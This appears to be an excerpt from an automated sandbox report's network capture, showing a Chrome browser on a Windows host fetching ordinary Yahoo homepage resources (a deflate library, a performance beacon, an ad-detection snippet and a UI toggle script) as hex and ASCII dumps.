74 65 3d 66 72 6f 6e 74 70 61 67 65 26 72 65 67 69 6f 6e 3d 55 53 26 6c 61 6e 67 3d 65 6e 2d 55 53 26 64 65 76 69 63 65 3d 64 65 73 6b 74 6f 70 26 79 72 69 64 3d 31 76 38 69 67 63 Data Ascii: Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=1v8igc
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 2f 2a 20 40 70 72 65 73 65 72 76 65 0a 20 2a 20 24 49 64 3a 20 72 61 77 64 65 66 6c 61 74 65 2e 6a 73 2c 76 20 30 2e 33 20 32 30 30 39 2f 30 33 2f 30 31 20 31 39 3a 30 35 3a 30 35 20 64 61 6e 6b 6f 67 61 69 20 45 78 70 20 64 61 6e 6b 6f 67 61 69 20 24 0a 20 2a 0a 20 2a 20 4f 72 69 67 69 6e 61 6c 3a 0a 20 2a 20 20 20 68 74 74 70 3a 2f 2f 77 77 77 2e 6f 6e 69 63 6f 73 2e 63 6f 6d 2f 73 74 61 66 66 2f 69 7a 2f 61 6d 75 73 65 2f 6a 61 76 61 73 63 72 69 70 74 2f 65 78 70 65 72 74 2f 64 65 66 6c 61 74 65 2e 74 78 74 0a 20 2a 2f 0a 2f 2a 20 40 70 72 65 73 65 72 76 65 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 39 20 4d 61 73 61 6e 61 6f 20 49 7a 75 6d 6f 20 3c 69 7a 40 6f 6e 69 63 6f 73 2e 63 6f 2e 6a 70 3e 0a 20 2a 20 56 65 72 73 69 6f 6e 3a Data Ascii: /* @preserve * $Id: rawdeflate.js,v 0.3 2009/03/01 19:05:05 dankogai Exp dankogai $ * * Original: * http://www.onicos.com/staff/iz/amuse/javascript/expert/deflate.txt // @preserve * Copyright (C) 1999 Masanao Izumo <iz@onicos.co.jp> * Version:
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 65 72 72 6f 72 3a 20 7a 69 70 5f 57 53 49 5a 45 20 69 73 20 74 6f 6f 20 6c 61 72 67 65 22 29 2c 5f 3e 64 2d 31 26 26 70 6f 73 74 4d 65 73 73 61 67 65 28 22 65 72 72 6f 72 3a 20 7a 69 70 5f 48 41 53 48 5f 42 49 54 53 20 69 73 20 74 6f 6f 20 6c 61 72 67 65 22 29 2c 28 38 3e 5f 7c 7c 32 35 38 21 3d 68 29 26 26 70 6f 73 74 4d 65 73 73 61 67 65 28 22 65 72 72 6f 72 3a 20 43 6f 64 65 20 74 6f 6f 20 63 6c 65 76 65 72 22 29 3b 76 61 72 20 76 2c 79 2c 77 2c 6d 2c 67 2c 78 2c 62 2c 70 2c 4d 2c 43 2c 42 2c 7a 2c 49 2c 52 2c 58 2c 44 2c 6a 2c 6b 2c 4e 2c 53 2c 48 2c 55 2c 5a 2c 45 2c 46 2c 54 2c 57 2c 71 2c 47 2c 4a 2c 4b 2c 4c 2c 4f 2c 50 2c 51 2c 56 2c 59 2c 24 2c 72 74 2c 74 74 2c 65 74 2c 6e 74 2c 66 74 2c 6f 74 2c 69 74 2c 61 74 2c 6c 74 2c 75 74 2c 73 74 2c 63 Data Ascii: error: zip_WSIZE is too large"),_>d-1&&postMessage("error: zip_HASH_BITS is too large"),(8>_\|\|258!=h)&&postMessage("error: Code too clever");var v,y,w,m,g,x,b,p,M,C,B,z,I,R,X,D,j,k,N,S,H,U,Z,E,F,T,W,q,G,J,K,L,O,P,Q,V,Y,$,rt,tt,et,nt,ft,ot,it,at,lt,ut,st,c
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 3d 21 31 2c 5a 3d 21 31 2c 6e 75 6c 6c 3d 3d 46 74 29 7b 66 6f 72 28 76 3d 79 3d 77 3d 6e 75 6c 6c 2c 46 74 3d 41 72 72 61 79 28 75 29 2c 70 3d 41 72 72 61 79 28 73 29 2c 4d 3d 41 72 72 61 79 28 77 74 29 2c 43 3d 41 72 72 61 79 28 61 2b 6c 29 2c 42 3d 41 72 72 61 79 28 31 3c 3c 64 29 2c 4a 3d 41 72 72 61 79 28 5a 74 29 2c 74 3d 30 3b 5a 74 3e 74 3b 74 2b 2b 29 4a 5b 74 5d 3d 6e 65 77 20 54 74 3b 66 6f 72 28 4b 3d 41 72 72 61 79 28 32 2a 6b 74 2b 31 29 2c 74 3d 30 3b 32 2a 6b 74 2b 31 3e 74 3b 74 2b 2b 29 4b 5b 74 5d 3d 6e 65 77 20 54 74 3b 66 6f 72 28 4c 3d 41 72 72 61 79 28 6a 74 2b 32 29 2c 74 3d 30 3b 6a 74 2b 32 3e 74 3b 74 2b 2b 29 4c 5b 74 5d 3d 6e 65 77 20 54 74 3b 66 6f 72 28 4f 3d 41 72 72 61 79 28 6b 74 29 2c 74 3d 30 3b 6b 74 3e 74 3b 74 2b 2b Data Ascii: =!1,Z=!1,null==Ft){for(v=y=w=null,Ft=Array(u),p=Array(s),M=Array(wt),C=Array(a+l),B=Array(1<<d),J=Array(Zt),t=0;Zt>t;t++)J[t]=new Tt;for(K=Array(2kt+1),t=0;2kt+1>t;t++)K[t]=new Tt;for(L=Array(jt+2),t=0;jt+2>t;t++)L[t]=new Tt;for(O=Array(kt),t=0;kt>t;t++
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 5a 3d 21 31 3b 4d 74 3e 45 26 26 21 5a 3b 29 73 65 28 29 3b 66 6f 72 28 58 3d 30 2c 72 3d 30 3b 63 2d 31 3e 72 3b 72 2b 2b 29 58 3d 28 58 3c 3c 45 74 5e 32 35 35 26 70 5b 72 5d 29 26 67 74 7d 2c 75 65 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 74 2c 65 2c 6e 3d 46 2c 66 3d 48 2c 6f 3d 53 2c 61 3d 48 3e 43 74 3f 48 2d 43 74 3a 62 74 2c 6c 3d 48 2b 68 2c 75 3d 70 5b 66 2b 6f 2d 31 5d 2c 73 3d 70 5b 66 2b 6f 5d 3b 53 3e 3d 71 26 26 28 6e 3e 3e 3d 32 29 3b 64 6f 20 69 66 28 74 3d 72 2c 70 5b 74 2b 6f 5d 3d 3d 73 26 26 70 5b 74 2b 6f 2d 31 5d 3d 3d 75 26 26 70 5b 74 5d 3d 3d 70 5b 66 5d 26 26 70 5b 2b 2b 74 5d 3d 3d 70 5b 66 2b 31 5d 29 7b 66 2b 3d 32 2c 74 2b 2b 3b 64 6f 3b 77 68 69 6c 65 28 70 5b 2b 2b 66 5d 3d 3d 70 5b 2b 2b 74 5d 26 26 70 5b 2b 2b Data Ascii: Z=!1;Mt>E&&!Z;)se();for(X=0,r=0;c-1>r;r++)X=(X<<Et^255&p[r])&gt},ue=function(r){var t,e,n=F,f=H,o=S,a=H>Ct?H-Ct:bt,l=H+h,u=p[f+o-1],s=p[f+o];S>=q&&(n>>=2);do if(t=r,p[t+o]==s&&p[t+o-1]==u&&p[t]==p[f]&&p[++t]==p[f+1]){f+=2,t++;do;while(p[++f]==p[++t]&&p[++
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 29 7b 5a 7c 7c 28 7a 3d 30 2c 49 3d 30 2c 76 65 28 29 2c 6c 65 28 29 2c 79 3d 6e 75 6c 6c 2c 67 3d 30 2c 78 3d 30 2c 6b 3d 30 2c 33 3e 3d 57 3f 28 53 3d 63 2d 31 2c 4e 3d 30 29 3a 28 4e 3d 63 2d 31 2c 6b 3d 30 2c 6b 3d 30 29 2c 62 3d 21 31 29 7d 2c 41 65 3d 66 75 6e 63 74 69 6f 6e 28 72 2c 74 2c 65 29 7b 76 61 72 20 6e 3b 72 65 74 75 72 6e 20 6d 7c 7c 28 64 65 28 29 2c 6d 3d 21 30 2c 30 21 3d 45 29 3f 28 6e 3d 5f 65 28 72 2c 74 2c 65 29 29 3d 3d 65 3f 65 3a 62 3f 6e 3a 28 33 3e 3d 57 3f 63 65 28 29 3a 68 65 28 29 2c 30 3d 3d 45 26 26 28 30 21 3d 6b 26 26 7a 65 28 30 2c 32 35 35 26 70 5b 48 2d 31 5d 29 2c 42 65 28 31 29 2c 62 3d 21 30 29 2c 6e 2b 5f 65 28 72 2c 6e 2b 74 2c 65 2d 6e 29 29 3a 28 62 3d 21 30 2c 30 29 7d 2c 5f 65 3d Data Ascii: function(){Z\|\|(z=0,I=0,ve(),le(),y=null,g=0,x=0,k=0,3>=W?(S=c-1,N=0):(N=c-1,k=0,k=0),b=!1)},Ae=function(r,t,e){var n;return m\|\|(de(),m=!0,0!=E)?(n=_e(r,t,e))==e?e:b?n:(3>=W?ce():he(),0==E&&(0!=k&&ze(0,255&p[H-1]),Be(1),b=!0),n+_e(r,n+t,e-n)):(b=!0,0)},_e=
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 44 65 28 72 2c 35 29 3b 79 65 28 29 7d 7d 2c 79 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3b 66 6f 72 28 72 3d 30 3b 6a 74 3e 72 3b 72 2b 2b 29 4a 5b 72 5d 2e 66 63 3d 30 3b 66 6f 72 28 72 3d 30 3b 6b 74 3e 72 3b 72 2b 2b 29 4b 5b 72 5d 2e 66 63 3d 30 3b 66 6f 72 28 72 3d 30 3b 4e 74 3e 72 3b 72 2b 2b 29 50 5b 72 5d 2e 66 63 3d 30 3b 4a 5b 44 74 5d 2e 66 63 3d 31 2c 41 74 3d 5f 74 3d 30 2c 75 74 3d 73 74 3d 63 74 3d 30 2c 68 74 3d 30 2c 64 74 3d 31 7d 2c 77 65 3d 66 75 6e 63 74 69 6f 6e 28 72 2c 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 72 74 5b 74 5d 2c 6e 3d 74 3c 3c 31 3b 74 74 3e 3d 6e 26 26 28 74 74 3e 6e 26 26 69 65 28 72 2c 72 74 5b 6e 2b 31 5d 2c 72 74 5b 6e 5d 29 26 26 6e 2b 2b 2c 21 69 65 28 72 2c 65 2c 72 74 5b 6e 5d 29 29 3b 29 72 74 Data Ascii: De(r,5);ye()}},ye=function(){var r;for(r=0;jt>r;r++)J[r].fc=0;for(r=0;kt>r;r++)K[r].fc=0;for(r=0;Nt>r;r++)P[r].fc=0;J[Dt].fc=1,At=_t=0,ut=st=ct=0,ht=0,dt=1},we=function(r,t){for(var e=rt[t],n=t<<1;tt>=n&&(tt>n&&ie(r,rt[n+1],rt[n])&&n++,!ie(r,e,rt[n]));)rt
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 74 5b 65 5d 2b 31 3f 6e 74 5b 74 5d 3a 6e 74 5b 65 5d 2b 31 2c 6e 5b 74 5d 2e 64 6c 3d 6e 5b 65 5d 2e 64 6c 3d 61 2c 72 74 5b 42 74 5d 3d 61 2b 2b 2c 77 65 28 6e 2c 42 74 29 3b 77 68 69 6c 65 28 74 74 3e 3d 32 29 3b 72 74 5b 2d 2d 65 74 5d 3d 72 74 5b 42 74 5d 2c 6d 65 28 72 29 2c 67 65 28 6e 2c 69 29 7d 2c 62 65 3d 66 75 6e 63 74 69 6f 6e 28 72 2c 74 29 7b 76 61 72 20 65 2c 6e 2c 66 3d 2d 31 2c 6f 3d 72 5b 30 5d 2e 64 6c 2c 69 3d 30 2c 61 3d 37 2c 6c 3d 34 3b 66 6f 72 28 30 3d 3d 6f 26 26 28 61 3d 31 33 38 2c 6c 3d 33 29 2c 72 5b 74 2b 31 5d 2e 64 6c 3d 36 35 35 33 35 2c 65 3d 30 3b 74 3e 3d 65 3b 65 2b 2b 29 6e 3d 6f 2c 6f 3d 72 5b 65 2b 31 5d 2e 64 6c 2c 61 3e 2b 2b 69 26 26 6e 3d 3d 6f 7c 7c 28 6c 3e 69 3f 50 5b 6e 5d 2e 66 63 2b 3d 69 3a 30 21 3d 6e Data Ascii: t[e]+1?nt[t]:nt[e]+1,n[t].dl=n[e].dl=a,rt[Bt]=a++,we(n,Bt);while(tt>=2);rt[--et]=rt[Bt],me(r),ge(n,i)},be=function(r,t){var e,n,f=-1,o=r[0].dl,i=0,a=7,l=4;for(0==o&&(a=138,l=3),r[t+1].dl=65535,e=0;t>=e;e++)n=o,o=r[e+1].dl,a>++i&&n==o\|\|(l>i?P[n].fc+=i:0!=n
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 29 2c 64 74 3c 3c 3d 31 2c 30 3d 3d 28 37 26 75 74 29 26 26 28 6c 74 5b 63 74 2b 2b 5d 3d 68 74 2c 68 74 3d 30 2c 64 74 3d 31 29 2c 57 3e 32 26 26 30 3d 3d 28 34 30 39 35 26 75 74 29 29 7b 76 61 72 20 65 2c 6e 3d 38 2a 75 74 2c 66 3d 48 2d 52 3b 66 6f 72 28 65 3d 30 3b 6b 74 3e 65 3b 65 2b 2b 29 6e 2b 3d 4b 5b 65 5d 2e 66 63 2a 28 35 2b 4b 74 5b 65 5d 29 3b 69 66 28 6e 3e 3e 3d 33 2c 70 61 72 73 65 49 6e 74 28 75 74 2f 32 29 3e 73 74 26 26 70 61 72 73 65 49 6e 74 28 66 2f 32 29 3e 6e 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 20 75 74 3d 3d 41 2d 31 7c 7c 73 74 3d 3d 77 74 7d 2c 49 65 3d 66 75 6e 63 74 69 6f 6e 28 72 2c 74 29 7b 76 61 72 20 65 2c 6e 2c 66 2c 6f 2c 69 3d 30 2c 61 3d 30 2c 6c 3d 30 2c 75 3d 30 3b 69 66 28 30 21 3d 75 74 29 64 6f 20 30 Data Ascii: ),dt<<=1,0==(7&ut)&&(lt[ct++]=ht,ht=0,dt=1),W>2&&0==(4095&ut)){var e,n=8ut,f=H-R;for(e=0;kt>e;e++)n+=K[e].fc(5+Kt[e]);if(n>>=3,parseInt(ut/2)>st&&parseInt(f/2)>n)return!0}return ut==A-1\|\|st==wt},Ie=function(r,t){var e,n,f,o,i=0,a=0,l=0,u=0;if(0!=ut)do 0
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 4d 3d 41 72 72 61 79 28 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 30 2c 31 2c 31 2c 31 2c 31 2c 32 2c 32 2c 32 2c 32 2c 33 2c 33 2c 33 2c 33 2c 34 2c 34 2c 34 2c 34 2c 35 2c 35 2c 35 2c 35 2c 30 2c 39 39 2c 39 39 29 2c 43 3d 41 72 72 61 79 28 31 2c 32 2c 33 2c 34 2c 35 2c 37 2c 39 2c 31 33 2c 31 37 2c 32 35 2c 33 33 2c 34 39 2c 36 35 2c 39 37 2c 31 32 39 2c 31 39 33 2c 32 35 37 2c 33 38 35 2c 35 31 33 2c 37 36 39 2c 31 30 32 35 2c 31 35 33 37 2c 32 30 34 39 2c 33 30 37 33 2c 34 30 39 37 2c 36 31 34 35 2c 38 31 39 33 2c 31 32 32 38 39 2c 31 36 33 38 35 2c 32 34 35 37 37 29 2c 42 3d 41 72 72 61 79 28 30 2c 30 2c 30 2c 30 2c 31 2c 31 2c 32 2c 32 2c 33 2c 33 2c 34 2c 34 2c 35 2c 35 2c 36 2c 36 2c 37 2c 37 2c 38 2c 38 2c 39 2c 39 2c 31 30 2c 31 30 2c 31 31 2c Data Ascii: M=Array(0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,99,99),C=Array(1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577),B=Array(0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49819	69.147.92.11	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:50 UTC	1531	OUT	GET /_td_api/beacon/performance?ybar-init_0=0.7999999999883585&ybar-mod-sidenav_0=2.5&ybar-mod-logo_0=0.09999999997671694&ybar-mod-searchbox_0=0.6000000000058208&ybar-mod-assistjs_0=3.7000000000116415&ybar-mod-adaptivenav_0=0.20000000001164153&ybar-account-init_0=1.7999999999883585&ybar-mail-init_0=2.6000000000058208&ybar-mod-navigation_0=11.60000000000582&ybar-mod-notification_0=0.20000000001164153&src=ybar&_rdn=708780&apptype=default&rid=1sbetl5j2qvpa&bucket=drop_heimdall_homepage_control_bucket%2CMimicControlv2-copy%2Chomepage_taboola_benji_1_control%2Cseamless&device=desktop&osName=windows%20nt&browserName=chrome&browserVersion=117.0&site=homepage HTTP/1.1 Host: www.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s
2024-04-27 22:41:50 UTC	1138	IN	HTTP/1.1 204 No Content referrer-policy: no-referrer-when-downgrade strict-transport-security: max-age=31536000 x-powered-by: Express content-type: image/gif content-security-policy-report-only: default-src 'self'; report-uri https://csp.yahoo.com/beacon/csp?src=fendr_beaconeater.media.yahoo.com date: Sat, 27 Apr 2024 22:41:50 GMT x-envoy-upstream-service-time: 1 server: ATS Age: 0 Content-Security-Policy: sandbox allow-forms allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox allow-presentation; report-uri https://csp.yahoo.com/beacon/csp?src=ats&site=frontpage&region=US&lang=en-US&device=desktop&yrid=2f3bv8pj2qvpe&partner=; frame-ancestors 'self' https://.techcrunch.com https://.yahoo.com https://.aol.com https://.huffingtonpost.com https://.oath.com https://.search.yahoo.com https://.search.aol.com https://.search.huffpost.com htts://.verizonmedia.com https://.publishing.oath.com Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49818	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:50 UTC	549	OUT	GET /nn/lib/metro/g/myy/advertisement_0.0.19.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:50 UTC	821	IN	HTTP/1.1 200 OK x-amz-id-2: NhIMGGYdmeKoe7PIJtG7f+WdJk+bPoRczalBzgEYs7bwVaKXlsvlKMshmPAaLOYBgM9NZ8bcutMDIIBCgSR1qQ== x-amz-request-id: NWZQP9TJ8KBG46W1 Date: Sat, 27 Apr 2024 14:28:12 GMT Last-Modified: Tue, 19 May 2020 03:33:21 GMT ETag: "ca243b22264dca7a4a899c51cc2dc963" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000, public, immutable Accept-Ranges: bytes Content-Type: application/x-javascript Server: ATS Content-Length: 158 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-04-27 22:41:50 UTC	158	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 64 69 76 20 69 64 3d 22 61 64 76 65 72 74 69 73 65 6d 65 6e 74 2d 74 68 61 6d 62 61 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 44 69 73 70 6c 61 79 20 41 64 76 65 72 74 69 73 65 6d 65 6e 74 3c 2f 64 69 76 3e 27 29 3b 2f 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 32 30 2c 20 59 61 68 6f 6f 21 20 49 6e 63 2e 20 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2a 2f 0a Data Ascii: document.write('<div id="advertisement-thamba" style="display:none">Display Advertisement</div>');/* Copyright (c) 2020, Yahoo! Inc. All rights reserved. */

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49817	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:50 UTC	540	OUT	GET /aaq/wf/wf-toggle-1.15.4-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:50 UTC	828	IN	HTTP/1.1 200 OK x-amz-id-2: 3+kw4cq8CU7IZEVvRHpZMuRHXyqfa9pv8ZLmSDPMuZJehwZcFlsHjPxEEufUoshQwOznMeRjRyA= x-amz-request-id: DF9RNA7NFQZPER3B Date: Sat, 27 Apr 2024 22:29:48 GMT Last-Modified: Wed, 20 Apr 2022 09:12:23 GMT ETag: "9ec69a2055c595f415eade096a476b0d" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: HE26GDjTNsmXBUPJeKnrarkIBLKe8tee Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 12433 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 723 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 74 6f 67 67 6c 65 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 74 6f 67 67 6c 65 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-toggle",[],t):"object"==typeof exports?exports["wafer-toggle"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 31 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 26 26 28 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 65 2c 74 29 3a 65 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 74 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 Data Ascii: prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}function a(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 73 5b 74 5d 3b 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 72 29 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 72 2c 6e 29 26 26 28 65 5b 6e 5d 3d 72 5b 6e 5d 29 7d 72 65 74 75 72 6e 20 65 7d 2c 66 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 76 61 72 20 6e 3d 74 5b 72 5d 3b 6e 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 6e 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 6e 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 6e 26 26 28 6e 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 6e Data Ascii: s[t];for(var n in r)Object.prototype.hasOwnProperty.call(r,n)&&(e[n]=r[n])}return e},f=function(){function e(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable\|\|!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n
2024-04-27 22:41:50 UTC	1300	IN	Data Raw: 28 6b 2b 22 74 6f 67 67 6c 65 2d 63 6c 61 73 73 22 29 7c 7c 22 22 2c 75 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 6b 2b 22 74 6f 67 67 6c 65 2d 70 72 65 76 65 6e 74 2d 62 72 6f 77 73 65 72 2d 64 65 66 61 75 6c 74 2d 62 65 68 61 76 69 6f 72 22 29 2c 6c 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 6b 2b 22 74 6f 67 67 6c 65 2d 70 72 65 76 65 6e 74 2d 73 63 72 6f 6c 6c 22 29 2c 66 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 6b 2b 22 73 79 6e 63 2d 64 65 6c 61 79 22 29 2c 64 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 6b 2b 22 74 6f 67 67 6c 65 2d 74 61 72 67 65 74 22 29 2c 76 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 6b 2b 22 74 6f 67 67 6c 65 2d 62 6f 75 6e 64 61 72 79 22 29 2c 68 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 6b 2b Data Ascii: (k+"toggle-class")\|\|"",u=e.getAttribute(k+"toggle-prevent-browser-default-behavior"),l=e.getAttribute(k+"toggle-prevent-scroll"),f=e.getAttribute(k+"sync-delay"),d=e.getAttribute(k+"toggle-target"),v=e.getAttribute(k+"toggle-boundary"),h=e.getAttribute(k+
